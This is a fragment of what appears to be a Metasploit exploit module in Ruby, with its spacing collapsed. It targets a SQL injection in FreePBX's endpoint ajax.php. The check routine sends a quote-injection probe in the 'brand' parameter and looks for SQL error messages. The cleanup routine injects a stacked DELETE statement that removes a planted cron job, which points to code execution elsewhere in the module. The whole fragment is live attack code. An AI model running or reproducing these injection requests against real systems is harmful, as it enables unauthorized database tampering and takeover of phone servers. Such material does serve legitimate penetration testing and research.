defcheckprint_status('Checking if vulnerable...')res=send_request_cgi('method'=>'GET','uri'=>normalize_uri(target_uri.path,'admin','ajax.php'),'vars_get'=>{'module'=>'FreePBX\\modules\\endpoint\\ajax','command'=>'model','template'=>Rex::Text.rand_text_alphanumeric(3..6),'model'=>Rex::Text.rand_text_alphanumeric(3..6),'brand'=>"#{Rex::Text.rand_text_alphanumeric(3..6)}'"})ifres&.code==500&&res.body=~/You have an error in your SQL syntax/returnExploit::CheckCode::Vulnerable('Detected SQL injection')endExploit::CheckCode::Safe('No SQL injection detected, target is patched')end
defcleanupsuperreturnunless@job_nameres=send_request_cgi('method'=>'GET','uri'=>normalize_uri(target_uri.path,'admin','ajax.php'),'vars_get'=>{'module'=>'FreePBX\\modules\\endpoint\\ajax','command'=>'model','template'=>Rex::Text.rand_text_alphanumeric(3..6),'model'=>Rex::Text.rand_text_alphanumeric(3..6),'brand'=>"'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "})end